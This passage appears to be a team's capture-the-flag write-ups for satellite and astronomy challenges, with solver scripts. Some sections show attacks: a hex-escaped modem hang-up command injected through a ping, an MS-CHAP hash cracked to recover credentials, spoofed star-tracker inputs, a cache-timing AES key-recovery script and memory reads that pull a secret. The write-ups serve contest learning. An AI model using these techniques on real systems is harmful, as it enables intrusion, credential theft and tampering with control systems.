53 KiB
- Attitude Adjustment
- Digital Filters, Meh
- Seeing Stars
- 56K Flex Magic
- Phasors to Stun
- Bytes Away!
- Magic Bus
- Good Plan? Great Plan!
≠wpage
Attitude Adjustment
Category: Astronomy, Astrophysics, Astrometry, Astrodynamics, AAAA Points (final): 69 points Solves: 62
Our star tracker has collected a set of boresight reference vectors, and identified which stars in the catalog they correspond to. Compare the included catalog and the identified boresight vectors to determine what our current attitude is.
Note: The catalog format is unit vector (X,Y,Z) in a celestial reference frame and the magnitude (relative brightness)
Given files: attitude-papa21503yankee.tar.bz2
Writeup
by barzamin)">erin (barzamin
).
For this problem, we have two sets of N vectors which are paired; all points in the first set are just those in the second set up to rotation; we want to find the rotation which maps the first set onto the other one. Since we already know which point in the observation set maps to which vector in the catalog set, we can use the Kabsch algorithm to find the rotation matrix (note that this is called an orthogonal Procrustes problem). I'd only vaguely heard of the Kabsch algorithm before, and in the context of bioinformatics, so I didn't immediately identify it as a good path to the solution. Instead, I just googled "align two sets of vectors", for which it's the third result.
Since nobody has time to implement computational geometry during a ctf,
I grabbed an existing Kabsch implementation. For some reason, I didn't
notice that scipy.spatial
has
a
Kabsch implementation built in, so I used some random external
project, rmsd">rmsd
.
First, load the star catalog:
catalog = {}
with open('./attitude-papa21503yankee/test.txt') as f:
i = 0
for line in f:
[x, y, z, m] = [float(s.strip()) for s in line.split(',')]
catalog[i] = {'v': np.array([x,y,z]), 'm':m}
i += 1
Set up some helpers for parsing the output of the challenge server and solving an orientation:
def parse_stars(stardata):
stars = {}
for line in stardata.strip().split('\n'):
line = line.strip()
star_id = int(line.split(':')[0].strip())
direction = np.array([float(x) for x in line.split(':')[1].split(',\t')])
stars[star_id] = direction
return stars
def solve_orientation(stars, catalog):
P = np.vstack(list(stars.values()))
Q = np.vstack([catalog[i]['v'] for i in stars.keys()])
print("rmsd: {}".format(calculate_rmsd.kabsch_rmsd(P,Q)))
rotation_mtx = calculate_rmsd.kabsch(P, Q)
rotation = Rotation.from_matrix(np.linalg.inv(rotation_mtx))
return rotation
Note that I threw in an inversion of the rotation matrix; this is because I should've been aligning from the catalog to the current star locations. Switching P to be the catalog and Q to be stars would've done the same thing.
Then we just grabbed each challenge from the computer, aligned the sets, and spat the orientation of the satellite back at the server:
TICKET = 'THE_TICKET'
r = tubes.remote.remote('attitude.satellitesabove.me', 5012)
r.send(TICKET+'\n')
time.sleep(0.5)
for _ in range(20):
r.recvuntil(b'--------------------------------------------------\n', drop=True)
stars = parse_stars(r.recv().decode())
rotation = solve_orientation(stars, catalog)
r.send(','.join([str(x) for x in rotation.as_quat()]) + '\n')
time.sleep(0.1)
print(r.clean())
The flag should get printed out on stdout by the final line.
Full code
import numpy as np
from pwnlib import tubes
import time
import matplotlib.pyplot as plt
from rmsd import calculate_rmsd
from scipy.spatial.transform import Rotation
catalog = {}
with open('./attitude-papa21503yankee/test.txt') as f:
i = 0
for line in f:
[x, y, z, m] = [float(s.strip()) for s in line.split(',')]
catalog[i] = {'v': np.array([x,y,z]), 'm':m}
i += 1
def parse_stars(stardata):
stars = {}
for line in stardata.strip().split('\n'):
line = line.strip()
star_id = int(line.split(':')[0].strip())
direction = np.array([float(x) for x in line.split(':')[1].split(',\t')])
stars[star_id] = direction
return stars
def solve_orientation(stars, catalog):
P = np.vstack(list(stars.values()))
Q = np.vstack([catalog[i]['v'] for i in stars.keys()])
print("rmsd: {}".format(calculate_rmsd.kabsch_rmsd(P,Q)))
rotation_mtx = calculate_rmsd.kabsch(P, Q)
rotation = Rotation.from_matrix(np.linalg.inv(rotation_mtx))
return rotation
TICKET = 'THE_TICKET'
r = tubes.remote.remote('attitude.satellitesabove.me', 5012)
r.send(TICKET+'\n')
time.sleep(0.5)
for _ in range(20):
r.recvuntil(b'--------------------------------------------------\n', drop=True)
stars = parse_stars(r.recv().decode())
rotation = solve_orientation(stars, catalog)
r.send(','.join([str(x) for x in rotation.as_quat()]) + '\n')
time.sleep(0.1)
print(r.clean())
Resources and other writeups
Digital Filters, Meh
Category: Astronomy, Astrophysics, Astrometry, Astrodynamics, AAAA Points (final): 104 points Solves: 37
Included is the simulation code for the attitude control loop for a satellite in orbit. A code reviewer said I made a pretty big mistake that could allow a star tracker to misbehave. Although my code is flawless, I put in some checks to make sure the star tracker can't misbehave anyways.
Review the simulation I have running to see if a startracker can still mess with my filter. Oh, and I'll be giving you the attitude of the physical system as a quaternion, it would be too much work to figure out where a star tracker is oriented from star coordinates, right?
Given files: src.tar.gz
.
Writeup
by barzamin)">erin (barzamin
).
As part of this challenge, we're given a file src.tar.gz
by the
scoreboard. This contains Octave code which simulates the satellite
kinetics and control loop, and, presumably, is what's running on the
challenge server.
Digging into the main file, challenge.m
, we note a few interesting
things. The satellite is running a Kalman filter on the gyroscope data
(velocity and acceleration) and star tracker orientation data. Near the
start of each control system iteration, there's a check on the Kalman
filter error; if greater than a threshold, the controller crashes out:
% Check error bounds
if max(abs(err)) > err_thresh
disp("Error: Estimator error too large... Goodbye");
disp(q_est);
disp(target.q_att);
break;
endif
Note err_thresh
is defined upscript as
err_thresh = 1*pi/180. ; % 1 Degree error max
Further down, we see that a PID update step on for the correction is only run every five iterations; this is weird, but doesn't help us as far as we could tell. Even further downscript, we see that every iteration, a check is performed between target and actual orientations (note that actual orientation means, here, the true simulated physical pose of the satellite):
% Check we're still safe...
[v,a] = q2rot(quat_diff(actual.q_att, target.q_att));
if abs(v(2)*a) > (pi/8)
disp("Uh oh, better provide some information!");
disp(getenv("FLAG"))
break;
endif
If this check is true (ie, there's >π/8 radians of rotation error on the Y axis), we get the flag! So the challenge here is making the satellite think it's drifted when it hasn't, without making the Kalman filter angry. How can we do that?
The star filter observations are pulled right after the previous check, with the following code:
% Get Observations
q_att = startracker(actual);
Looking inside startracker()
, we see that it pretty clearly indicates
that we are the star tracker; every timestep, the code tells us, the
adversary, what the true physical orientation is as a quaternion. We can
act as the star tracker and send back a wxyz-format quaternion on stdin,
which it will use as the star-tracker output (note that, for some
reason, the code they give us uses space-separated floats and the actual
challenge uses comma-separated floats):
% Model must have a q_att member
function [ q ] = startracker(model)
q = model.q_att;
disp([q.w, q.x, q.y, q.z]);
fflush(stdout);
% Get Input
q = zeros(4,1);
for i = 1:4
q(i) = scanf("%f", "C");
endfor
q = quaternion(q(1), q(2), q(3), q(4));
%q.w = q.w + normrnd(0, 1e-8);
%q.x = q.x + normrnd(0, 1e-8);
%q.y = q.y + normrnd(0, 1e-8);
%q.z = q.z + normrnd(0, 1e-8);
q = q./norm(q);
endfunction
Also note that in challenge.m
, immediately after the star tracker
call, checking the return value for consistency with the physical model
is commented out. We can tell the satellite that it's pointing
anywhere we like and it will believe us, although Kalman error might be
bad:
%err = quat2eul(quat_diff(q_att, target.q_att))';
%if max(abs(err)) > err_thresh
% disp("Error: No way, you are clearly lost, Star Tracker!");
% break;
%endif
So we control the star tracker. What can we do?
We immediately noticed the vast count of eul2quat()
and quat2eul()
calls and wasted so much time trying to get something to gimbal lock.
Turns out this problem is deceptively easy, and you don't need to do
that at all.
We can't make the discrepancy between the true position and what the star tracker says too great, nor make it vary quickly; the gyroscope is reporting gaussian noise close to zero with very low variance, so any big delta in star tracker orientation will incur error in the Kalman filter. So what can we do?
Turns out all we have to do hold the Y orientation constant and report that. The satellite's true Y euler angle gradually rotates over time due to system dynamics, accumulating controller error on the Y axis, and we eventually get the flag.
Hook up to the server:
sep = ','
r = remote('filter.satellitesabove.me', 5014)
r.clean()
r.send('THE_TICKET')
time.sleep(0.1)
Write a little function that pretends to be the star tracker (note:
lie
was determined by playing with the local simulator a bunch):
def adversary(true_pose):
lie = 0.25
euler = true_pose.as_euler('xyz')
euler[1] = lie
return R.from_euler('xyz',euler)
And talk to the server, pretending to be the tracker every indication, until we see a string indicating we got the flag:
while True:
rl = r.readline(timeout=3)
if rl.startswith(b'Uh oh,'):
r.interactive()
log.info(f'<== [{i}] {rl}')
[w,x,y,z] = [float(x) for x in rl.decode().strip().split()]
true_pose = R.from_quat([x,y,z,w])
new_pose = adversary(true_pose)
[x,y,z,w] = new_pose.as_quat()
msg = sep.join(map(str,[w,x,y,z]))
log.info(f'==> {msg}')
r.send(msg+'\n')
When we see that string, the script jumps to pwnlib.tubes
' interactive
mode and we see the flag in the dumped buffer.
Full code
import numpy as np
import matplotlib.pyplot as plt
from pwn import *
from scipy.spatial.transform import Rotation as R
import time
q_att_ts = []
badnesses = []
LOCAL = False
if LOCAL:
sep = ' '
r = process('octave challenge.m', shell=True)
else:
sep = ','
r = remote('filter.satellitesabove.me', 5014)
r.clean()
r.send('THE_TICKET')
time.sleep(0.1)
def adversary(true_pose):
lie = 0.25
euler = true_pose.as_euler('xyz')
euler[1] = lie
return R.from_euler('xyz',euler)
for i in range(10000):
if LOCAL:
badness = float(r.readline().decode().strip())
log.info(f'[!] badness: {badness}')
badnesses.append(badness)
rl = r.readline(timeout=3)
if rl.startswith(b'Uh oh,'):
r.interactive()
log.info(f'<== [{i}] {rl}')
[w,x,y,z] = [float(x) for x in rl.decode().strip().split()]
true_pose = R.from_quat([x,y,z,w])
new_pose = adversary(true_pose)
[x,y,z,w] = new_pose.as_quat()
msg = sep.join(map(str,[w,x,y,z]))
log.info(f'==> {msg}')
r.send(msg+'\n')
≠wpage
Seeing Stars
Category: Astronomy, Astrophysics, Astrometry, Astrodynamics, AAAA Points (final): 23 Solves: 213
Here is the output from a CCD Camera from a star tracker, identify as many stars as you can! (in image reference coordinates) Note: The camera prints pixels in the following order (x,y): (0,0), (1,0), (2,0)… (0,1), (1,1), (2,1)…
Note that top left corner is (0,0)
Write-up
by arcetera)">hazel (arcetera
)
The CCD image given by the netcat is a 128x128 matrix of comma-separated values.
We read the data into a NumPy array, and pass that into OpenCV.
data = []
for line in rawdat.strip().split('\n'):
data.append([int(x) for x in line.split(',')])
x = np.array(data, dtype='uint8').T
im = x
We then run a filter on the data, only grabbing values in [127, 255] to
filter out data that is obviously not stars. We then run two dilates
on the image post-filter, because otherwise we end up with a division by
zero on centroid finding later for M["m00"]
. Finally, we grabbed the
contour of every object visible in the image.
ret, thresh = cv2.threshold(im.copy(), 127, 255, 0)
kernel = np.ones((5, 5), np.uint8)
dilated = cv2.dilate(thresh.copy(), kernel, iterations = 2)
cnts, hier = cv2.findContours(dilated.copy(), \
cv2.RETR_TREE, \
cv2.CHAIN_APPROX_NONE)
For each contour, we grabbed its centroid:
solve = ''
for c in cnts:
M = cv2.moments(c)
cX = int(M["m10"] / M["m00"])
cY = int(M["m01"] / M["m00"])
solve += (str(cX) + "," + str(cY)+'\n')
return solve
We then automated this entire process using pwnlib to connect to the server and read the data.
Full code
#!/usr/bin/env python3
import cv2
import math
import numpy as np
from pwnlib import tubes
import time
def solve(rawdat):
data = []
for line in rawdat.strip().split('\n'):
data.append([int(x) for x in line.split(',')])
x = np.array(data, dtype='uint8').T
im = x # cv2.imread("output.png", cv2.IMREAD_GRAYSCALE)
ret, thresh = cv2.threshold(im.copy(), 127, 255, 0)
kernel = np.ones((5, 5), np.uint8)
dilated = cv2.dilate(thresh.copy(), kernel, iterations = 2)
cnts, hier = cv2.findContours(dilated.copy(), \
cv2.RETR_TREE, \
cv2.CHAIN_APPROX_NONE)
edit = thresh.copy()
cv2.drawContours(edit, cnts, -1, (0, 255, 0), 3)
solve = ''
for c in cnts:
M = cv2.moments(c)
cX = int(M["m10"] / M["m00"])
cY = int(M["m01"] / M["m00"])
solve += (str(cX) + "," + str(cY)+'\n')
return solve
TICKET = 'THE_TICKET'
r = tubes.remote.remote('stars.satellitesabove.me', 5013)
r.recvline()
r.send(TICKET+'\n')
going = True
while going:
rawdat = r.recvuntil('Enter', drop=True)
time.sleep(0.5)
r.clean()
solution = solve(rawdat.decode())
r.send(solution+'\n')
time.sleep(0.1)
if r.recvuntil('Left...\n') == b'0 Left...\n':
time.sleep(0.1)
print(r.clean())
Run it, and the flag should be printed as a bytestring.
Resources and other writeups
56K Flex Magic
Category: Communication Systems Points (final): 205 Solves: 13
Anyone out there speak modem anymore? We were able to listen in to on, maybe you can ask it for a flag…
UPDATE: Since everyone is asking, yes…a BUSY signal when dialing the ground station is expected behavior.
Write-up
by haskal
An audio file is included that contains a session where a number is dialed, and then some modem data is exchanged (it's a very distinctive sound). Additionally, there is a note included with the following text.
---=== MY SERVER ===--- Phone #: 275-555-0143 Username: hax Password: hunter2 * Modem implements a (very small) subset of 'Basic' commands as described in the ITU-T V.250 spec (Table I.2) ---=== THEIR SERVER ===--- Ground station IP: 93.184.216.34 Ground station Phone #: 458-XXX-XXXX ...? Username: ? Password: ? * They use the same model of modem as mine... could use +++ATH0 ping of death * It'll have an interactive login similar to my server * Their official password policy: minimum requirements of FIPS112 (probably just numeric) * TL;DR - section 4.1.1 of 'NBS Special Publication 500-137'
ITU-T V.250 is essentially a formalization of the Hayes command set, so we can use basic Hayes commands to interact with our local modem, such as
ATDTXXXXXXXXXX - dial number XXX... ATH0 - hang up +++ - get the local modem's attention while in a remote session
The first step is to try to get information about the ground station
server. We can decode the dial tones from the audio file, which are
DTMF
tones. Once decoded we obtain a phone number for the ground station of
458-555-0142
. However dialing this number results in an error -
BUSY
. Presumably, the ground station is already dialed into somewhere,
and we need to disconnect it.
The "ping of death" refers to injecting a modem command into a packet
sent to a remote server in order to cause the server's modem to
interpret a hang up command contained in the packet. This can be
achieved by pinging with the data +++ATH0
, because as the server
replies to the ping with the same data, its local modem will interpret
the command inside the ping. But we need to escape it with hex to avoid
having our local modem hang up instead. Once in the session, we dial the
number in the text file to get an initial shell session
ATDT2755550143
Next, issue a ping of death to the provided server IP
ping -v 0x2b2b2b415448290d 93.184.216.34
Now the ground station should be disconnected so it is available for us to dial.
+++ATH0 ATDT45845550142
We get a login prompt for SATNET
* * . * * * . * * . * * . . * * . * . . * . * * +------------------------------+ . | SATNET | * +------------------------------+ . . | UNAUTHORIZED ACCESS IS | | STRICTLY PROHIBITED | . +------------------------------+ . . . . Setting up - this will take a while... LOGIN Username:
However we still need the username and password. Maybe the provided audio file has the credentials somewhere in the dialup modem exchange. By analyzing the spectrum in Audacity (or any analyzer of choice) we discover that it has peaks around 980 Hz, 1180 Hz, 1650 Hz, and 1850 Hz. This is consistent with the ITU V.21 standard which uses dual-channel Frequency Shift Keying at 300 bits/second. We can use minimodem to decode the modem traffic. We can provide the two FSK frequencies (the "mark" and "space", representing each bit of the data) for channel 1 and then for channel 2 to get both sides of the exchange. We also need to provide the bit rate.
minimodem -8 -S 980 -M 1180 -f recording.wav 300
minimodem -8 -S 1650 -M 1850 -f recording.wav 300
This data looks like garbage but it contains some strings, notably
rocketman2674
. We assume from the notes file that the password is a
4-digit number, but trying the username rocketman
and password 2674
didn't work. We need to look closer. This is the beginning of one side
of the exchange in hex:
00000000: 7eff 7d23 c021 7d21 7d20 7d20 7d34 7d22 ~.}#.!}!} } }4}" 00000010: 7d26 7d20 7d20 7d20 7d20 7d25 7d26 28e5 }&} } } } }%}&(. 00000020: 4c21 7d27 7d22 7d28 7d22 e193 7e7e ff7d L!}'}"}(}"..~~.} 00000030: 23c0 217d 217d 217d 207d 347d 227d 267d #.!}!}!} }4}"}&} 00000040: 207d 207d 207d 207d 257d 2628 e54c 217d } } } }%}&(.L!}
It starts with 7eff
, which is characteristic of
Point-to-Point
Protocol. We can decode the packets with
scapy, a framework for network
protocol analysis. However, first we have to de-frame the PPP frames
since there doesn't seem to be a tool for this automatically. There are
two main tasks, first split up the frames by the 7e
delimiters, and
then remove the byte stuffing within the frame, since PPP will escape
certain bytes with the 7d
prefix followed by the byte XOR 0x20
.
Finally, the frame can be passed to scapy for analysis. This is a VERY
lax de-framer because sometimes frames seemed to not be started or
terminated properly.
def decode(ch):
buf2 = b""
esc = False
for x in ch:
if x == 0x7e:
if buf2 != b"\xFF" and buf2 != b"":
PPP(buf2).show()
buf2 = b""
esc = False
elif esc:
esc = False
buf2 += bytes([x^0x20])
elif x == 0x7d:
esc = True
else:
buf2 += bytes([x])
if len(buf2) > 0:
PPP(buf2).show()
(This code is really awful CTF code, please ignore the 200 awful spaghetti things I'm doing in this snippet.)
Now we can see what the packets mean. In particular, we spot these ones:
###[ HDLC ]### address = 0xff control = 0x3 ###[ PPP Link Layer ]### proto = Link Control Protocol ###[ PPP Link Control Protocol ]### code = Configure-Ack id = 0x2 len = 28 \options \ ..... |###[ PPP LCP Option ]### | type = Authentication-protocol | len = 5 | auth_protocol= Challenge-response authentication protocol | algorithm = MS-CHAP ..... ###[ PPP Link Layer ]### proto = Challenge Handshake Authentication Protocol ###[ PPP Challenge Handshake Authentication Protocol ]### code = Response id = 0x0 len = 67 value_size= 49 value = 0000000000000000000000000000000000000000000000006c2e3af0f2f7760 2e9831310b56924f3428b05ad60c7a2b401 optional_name= 'rocketman2674'
and
###[ PPP Link Layer ]### proto = Challenge Handshake Authentication Protocol ###[ PPP Challenge Handshake Authentication Protocol ]### code = Challenge id = 0x0 len = 26 value_size= 8 value = 12810ab88c7f1c74 optional_name= 'GRNDSTTNA8F6C' ###[ PPP Link Layer ]### proto = Challenge Handshake Authentication Protocol ###[ PPP Challenge Handshake Authentication Protocol ]### code = Success id = 0x0 len = 4 data = ''
We can see in this exchange that the client has negotiated MS-CHAP
authentication and then authenticates to the server successfully.
MS-CHAP uses NetNTLMv1 hashes, which can be cracked very easily. We just
need the username (rocketman2674
), the "challenge" which is used as a
salt for the hash, and the hash itself. The format of the response in
MS-CHAP (according to RFC2433) is 49 bytes, including 24 bytes of stuff
we ignore, 24 bytes of hash, and one byte of stuff we also ignore. We
can now convert the data into a
John-the-Ripper compatible hash like
username:$NETNTLM$challenge$hash rocketman2674:$NETNTLM$12810ab88c7f1c74$6c2e3af0f2f77602e9831310b56924f3428b05ad60c7a2b4
Technically, you can use hashcat as well but I didn't want to bother
with the hashcat flags. Put this hash in a text file and run
john file.txt
. No need to specify 4 digit pins because john will
complete in literal seconds anyway.
Proceeding with incremental:ASCII 9435 (rocketman2674) 1g 0:00:00:08 DONE 3/3 (2020-05-26 03:07) 0.1212g/s 10225Kp/s 10225Kc/s 10225KC/s 97xx..94b4 Use the "--show --format=netntlm" options to display all of the cracked passwords reliably Session completed
Use rocketman2674
with password 9435
to log in to the ground
station, then execute the flag
command to get the flag.
Resources and other writeups
Phasors to Stun
Category: Ground Segment Points (final): 62 Solves: 71
Demodulate the data from an SDR capture and you will find a flag. It is a wav file, but that doesn't mean its audio data.
Write-up
by haskal
The provided WAV file contains a signal that looks like this:
This looks suspiciously like Phase Shift Keying (PSK) and it's a very clean signal (this is also hinted at by the challenge name). We can use Universal Radio Hacker to demod this with very little effort.
Select PSK modulation, then click "Autodetect parameters". Then move to Analysis:
We discovered that the signal is NRZI (non-return-to-zero inverted) coded, and after selecting this in URH the flag is decoded in the data view.
Resources and other writeups
Leaky Crypto
Many optimized implementations of AES utilize lookup tables to combine all steps of each round of the algorithm (SubBytes, ShiftRows, MixColumns, AddKey) into a single operation. For some X (the plaintext or the result from the previous round) and some K (the round key), they are split bytewise and the XOR product of each respective byte pair is used as the index into a lookup table. During the first round of AES, X is the plaintext of the message, and K is the original message key. Accordingly, given some known plaintext, leaking the index into the lookup table for a particular character leaks the corresponding key byte. There are four lookup tables which are used in each iteration of AES (besides the last round) and which is used is determined by the index of the byte MOD 4. We utilized this paper as a reference for both our understanding of AES and the attack we will detail below.
Many CPUs cache RAM accesses so as to speed up subsequent accesses to the same address. This is done because accessing RAM is quite slow, and accessing cache is quite fast. This behavior would imply that on systems which implement such caching methods, there is a correlation between the amount of time it takes to encrypt a particular plaintext and the occurrences of repeated values of a plaintext byte XORd with a key byte. Accordingly, for every i, j, pi ⊕ pj in a family (with i, j being byte indexes, p being the plaintext, and families corresponding to which lookup table is being used), we calculate the average time to encrypt such a message over all messages. We then determine if for any pair of characters pi, pj there is a statistically significant shorter encryption time compared to the average. If so, we can conclude that i ⊕ ki = pj ⊕ kj => pi ⊕ pj = ki ⊕ kj. From this information, we gain a set of redundant system of equations relating different key bytes at different indexes with each other. It is important to note that in order for this attack to work, we must know at least one key byte in each family in order to actually solve each system of equations. Additionally, due to how cache works, this attack only leaks the most significant q bits (q being related to the number of items in a cache line). Once the set of possible partial keys (accounting for the ambiguity in the least significant bits of each derived byte) has been obtained by the above method, an attacker may brute force the remaining unknown key bytes.
In the case of Leaky Crypto, a set of 100,000 plaintexts and corresponding encryption times is provided along with the first six bytes of the encryption key. We ran an analyzer program[^1] against these plaintexts to obtain the probable correlation between different indexes in the key with respect to the XOR product of those bytes with plaintext bytes. Per the above, the plaintexts and timing data provided enough information to derive the systems of equations which may be used to solve for key bytes, and the first 6 bytes of the key provided enough information to actually solve said systems of equations. Given the ambiguity of the low bits of each derived key byte, we obtained 214 partial keys with three unknown bytes each. Thus, we reduced the problem of guessing 2128 bits to guessing only 238 bits. We fed our derived partial keys into Hulk to brute force the remaining bytes for each candidate partial key. After 30 minutes had passed, we successfully brute forced the key.
from itertools import combinations
import matplotlib.pyplot as plt
import numpy as np
def find_outliers(corpus, num_samps, i, j):
idxs = corpus[i][j].argsort()[:num_samps]
return idxs
def guess_bytes(corpus, known_keybytes, num_samps, avg):
candidates = []
for base in range(4):
family = [base, base + 4, base + 8, base + 12]
for combo in combinations(family, 2):
i,j = combo
guesses = find_outliers(corpus, num_samps, i, j)
guesses2 = []
for guess in guesses:
cnt = corpus[i][j][guess]
if cnt-avg < -10:
guesses2.append((i, j, guess, cnt-avg))
print(i, j, guess, cnt - avg)
candidates.append(tuple(guesses2))
print(candidates)
if __name__ == '__main__':
known_keybytes = bytes.fromhex("64c7072487f2")
secret_data = "c1a5fe7beb2c70bfab98926627dcff8b9671edc52441....."
data = set()
with open("test.txt", "r") as fp:
for line in fp:
pt, timing = line.strip().split(',')
pt = bytes.fromhex(pt)
timing = int(timing)
data.add((pt, timing))
tavg = sum((d[1] for d in data)) / len(data)
print("tavg: %d" % tavg)
known_tly = np.zeros((16, 16, 256))
for base in range(4):
print("Building corpus for family %d" % base)
family = [base, base + 4, base + 8, base + 12]
for combo in combinations(family, 2):
times = np.zeros(256)
counts = np.zeros(256)
i,j = combo
print("Working on %d, %d" % (i, j))
for d in data:
n = d[0][i] ^ d[0][j]
c = d[1]
times[n] += c
counts[n] += 1
for c in range(256):
cnorm = times[c] / counts[c]
known_tly[i][j][c] = cnorm
known_tly[j][i][c] = cnorm
guess_bytes(known_tly, known_keybytes, 4, tavg)
≠wpage
Bytes Away!
Category: Satellite Bus Points (final): 223 Solves: 11
We have an encrypted telemetry link from one of our satellites but we seem to have lost the encryption key. Thankfully we can still send unencrypted commands using our Cosmos interface (included). I've also included the last version of kit_to.so that was updated to the satellite. Can you help us restore communication with the satellite so we can see what error "flag" is being transmitted?
Write-up
by haskal
Two files are provided for this challenge, one contains the kit_to.so
and the other contains a full COSMOS
directory tree for accessing the virtual satellite, which can be booted
up with the provided netcat endpoint. COSMOS is an open-source command
and control framework for satellites using
NASA's Core Flight System. The provided
COSMOS directory contains everything we need to interact with the
virtual satellite, and the kit_to.so
is part of the code that runs
onboard the actual satellite. Booting up COSMOS is enormously
complicated, so Docker can be used to automate the setup. We adapted the
Ball Aerospace COSMOS Docker image, and created a script to configure
COSMOS to connect to the CTF's satellite instance automatically by
writing the configuration file at
cosmos/config/tools/cmd_tlm_server/cmd_tlm_server.txt
. When COSMOS is
successfully connected to the CTF instance it looks like this (no themes
were installed in the Docker container so it looks like Windows 95, I'm
so sorry,)
COSMOS can be used to send commands with the Command Sender, and we can send for example a command for ENABLE_TELEMETRY, which causes the satellite to start sending telemetry. However these are encrypted, so COSMOS cannot understand them.
We also discover another present subsystem called MM
, which allows for
reading and writing arbitrary memory on the satellite (how useful!) as
well as interacting with memory by symbols (extremely useful!).
The provided kit_to.so
contains the code used by the satellite to
transmit telemetry to COSMOS. We used
Ghidra to analyze the binary (which
helpfully includes symbols and debugging information, and that makes our
lives way easier for this problem). We discovered that it uses AES CBC
with a key and IV retrieved with external functions get_key
and
get_iv
that are not present in the binary. However, these are stored
in known locations in memory, which means it would be possible to read
the AES key and IV using the PEEK_MEM command in COSMOS and then decrypt
the telemetry packets, but there's an easier way. The code contains a
function KIT_TO_SendFlagPkt
which (as you might guess) sends the flag
via encrypted telemetry, and this also writes the flag as an
intermediate value to a known memory location. PIE is enabled for this
binary, however since the PEEK_MEM command allows looking up memory by
symbol name the address randomization is very trivially bypassed.
Inspecting the structure of KitToFlagPkt
shows that the flag is
located at offset 12 and is (up to) 200 bytes long. We created a Ruby
script in the COSMOS Script Runner to execute PEEK_MEM commands for each
byte in the flag range, based on the command COSMOS outputs to the
console when running the command manually in the GUI. Note that in order
for the function KIT_TO_SendFlagPkt
to be called at all, we must first
run the ENABLE_TELEMETRY command even though we're not going to look at
any actual telemetry.
12.upto(212) { |off|
offset = off
cmd("MM PEEK_MEM with CCSDS_STREAMID 6280, CCSDS_SEQUENCE 49152, CCSDS_LENGTH 73, "
+ "CCSDS_FUNCCODE 2, CCSDS_CHECKSUM 0, DATA_SIZE 8, MEM_TYPE 1, PAD_16 0, "
+ "ADDR_OFFSET #{offset}, ADDR_SYMBOL_NAME 'KitToFlagPkt'")
}
This directly prints the flag to the console, simply decode the hex to get the flag value.
Resources and other writeups
Magic Bus
Category: Satellite Bus Points (final): 91 Solves: 44 (this number taunts me)
Important note: Team BLAHAJ did not solve this problem until after the competition, and it did not count toward our final point total.
There's a very busy bus we've tapped a port onto, surely there is some juicy information hidden in the device memory… somewhere…
Write-up
by arcetera)">hazel (arcetera
)
*I hate this problem. I hate this problem. I hate this problem. I hate this problem. I literally hate this problem so much. This problem made me cry. I have literally no words to describe the exact extent to which this problem has driven me insane. This problem taunts me in my sleep. This problem taunts me while I am awake. The extent to which I despise this problem is beyond words. I hate this. I hate whoever made this. I want to burn this problem to the ground. This problem has achieved active sentience and holds malice against me and the rest of my team specifically. Had the competition not ended, this problem would hold the rest of the world hostage.*
Furthermore, much of this writeup is failed attempts at a solution. Other writeups may be more useful at determining success, despite our team eventually finding a solution.
…anyway…
When netcatting into the server, a series of hex bytes appears. A
cursory analysis of these bytes reveals that all packets start with ^
and end with .
, aside from lines starting with byte CA. Decoding the
data beginning with byte CA reveals some 🧃🧃🧃. This output has \xca\x00
stripped:
b'\xb2M*\xf9H\xacyvQ}\xd4\xf2\xa0\xcd\xc9Juicy Data 03\x00M\xae@\x9a\xd89\xe2\x85\xb2Y\xd6/-\xc9\xd0\xfb\x92\xd2\xc4Y\xaa[ B\xc6\xb5'
I prefer water though. #WaterDrinkers
While I was asleep, the rest of the team managed to reverse the protocol
to a decent extent. Namely, the format for strings beginning with
:\x00\x00>
and :\x00\x00?
and ending with ?
is: - \0x000000
(6
bytes) - @ or ? - A (7 bytes) - @ (2 bytes) - @ or ? - \xc1
(3 bytes)
An example:
b'\x00\x00\x008\x94S@\xc8.@A\x01:\xa0\xc0i\x11\xa1@|.@\xc1\x9b\x1c\xe6?' : 00:00:00 > 38:94:53:40:c8:2e @ 1:3a:a0:c0:69:11:a1 @ 7c:2e @ 9b:1c:e6 ?
The following Python code decodes this packet structure:
def to_hex(b):
return ':'.join(hex(x)[2:] for x in b)
def decode_pkt(b):
if len(b) == 0:
return
if b[0] == 0xCA:
pass # raw data?
elif b[0] == ord(':'):
if b[3] == ord('>') or b[3] == ord('?'): # > or ?
field1 = to_hex(b[7:13]) # 6 bytes
field1end = chr(b[13]) #
field2 = to_hex(b[15:22]) # 7 bytes
if b[22] != ord('@'):
print('b[22] should be @ but is {}'.format(chr(b[22])))
field3 = to_hex(b[23:25])
field3end = chr(b[25])
c1 = b[26]
field4 = to_hex(b[27:30])
if b[30] != ord('?'):
print('b[30] is not ?')
print(': 00:00:00 > {} {} {} @ {} {} {} ?'.format(field1, field1end, field2,
field3, field3end, field4))
elif b[0] == ord(';'):
print('delimiter') # end of previous packet?
else:
print(b[0])
print('unknown data')
print('\n')
Noting a delay between packets led me to derive the following packet structure: - START packet, which is equal to the preceding END packet - ONCE call, which occurs prior to a… - ONCE packet - JUICY DATA - END call - END packet, which is equal to the next START packet
This proved to be incorrect, but more on that later.
The following code differentiates between these packets from the netcat,
where the variable rawn
is the raw byte string:
start = True
while True:
r.recvuntil('^')
raw = r.recvuntil('.')
rawn = bytes([94]) + raw
print(rawn)
v = raw.decode().split('+')
del v[-1]
h = bytes([int(i, 16) for i in v])
if h == b';\x00\x00?':
print("ONCE CALL")
elif h == b';\x00\x00>':
print("END CALL")
elif h.startswith(b':\x00\x00?'):
print(f"ONCE: {h[4:]}")
elif h.startswith(b':\x00\x00>'):
# notable delay between start and end each time
if start:
print(f"START: {h[4:]}")
start = False
else:
print("INJECTING")
r.send(inj)
print(f"END: {h[4:]}")
start = True
elif h.startswith(b'\xca'):
print(f"JUICE: {h}")
else:
print(f"???: {h}")
sys.stdout.flush()
I then noticed that post-text the string
\x00R\x01\x1e{\x81G\x00\xc9\x9d\xe3\xe7\xc2#6
had the characters {
and 6
at the same point as flag{oscar39616kilo
, which would
correspond to a flag. I graphed this and tried to find a function (or
multiple) modeling a relation here, but with R2 being something like
0.39 for every relation I tried, this was extremely unlikely.
We then tried reading the data sequentially from the buffer, from Juicy Data 00 to 04. Here's the entire string:
